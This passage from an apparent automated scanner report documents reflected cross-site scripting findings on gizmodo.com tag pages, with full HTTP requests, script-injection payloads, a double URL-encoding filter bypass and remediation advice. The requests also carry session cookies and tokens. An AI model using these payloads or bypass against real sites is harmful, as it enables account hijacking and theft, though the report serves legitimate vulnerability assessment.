This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/twitter/?8c326"><script>alert(1)</script>1cb7869197b=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28623"-alert(1)-"4bef2676e39 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/vacuums28623"-alert(1)-"4bef2676e39/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bbfa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e489bbc3bd90 was submitted in the REST URL parameter 2. This input was echoed as 7bbfa"><script>alert(1)</script>489bbc3bd90 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/vacuums7bbfa%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e489bbc3bd90/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.15. http://gizmodo.com/tag/vacuums/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/vacuums/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f690f"><script>alert(1)</script>0489688e485 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/vacuums/?f690f"><script>alert(1)</script>0489688e485=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 860bf"-alert(1)-"c9908414bf3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/video860bf"-alert(1)-"c9908414bf3/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e0f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb47308ffb49 was submitted in the REST URL parameter 2. This input was echoed as 8e0f8"><script>alert(1)</script>b47308ffb49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/video8e0f8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb47308ffb49/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.18. http://gizmodo.com/tag/video/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/video/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d770f"><script>alert(1)</script>f3d74d734e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/video/?d770f"><script>alert(1)</script>f3d74d734e2=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9e43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22756c0072b was submitted in the REST URL parameter 2. This input was echoed as e9e43"><script>alert(1)</script>22756c0072b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/whitenoisee9e43%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e22756c0072b HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11fc6"-alert(1)-"703b9297a7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/whitenoise11fc6"-alert(1)-"703b9297a7c HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
1.21. http://gizmodo.com/tag/whitenoise [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://gizmodo.com
Path:
/tag/whitenoise
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca8c3"><script>alert(1)</script>ec90ecc278f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tag/whitenoise?ca8c3"><script>alert(1)</script>ec90ecc278f=1 HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b7022"-alert(1)-"8b0eac3bf1b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag/wikileaksb7022"-alert(1)-"8b0eac3bf1b/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0abd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70d44296567 was submitted in the REST URL parameter 2. This input was echoed as c0abd"><script>alert(1)</script>70d44296567 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /tag/wikileaksc0abd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e70d44296567/ HTTP/1.1 Host: gizmodo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 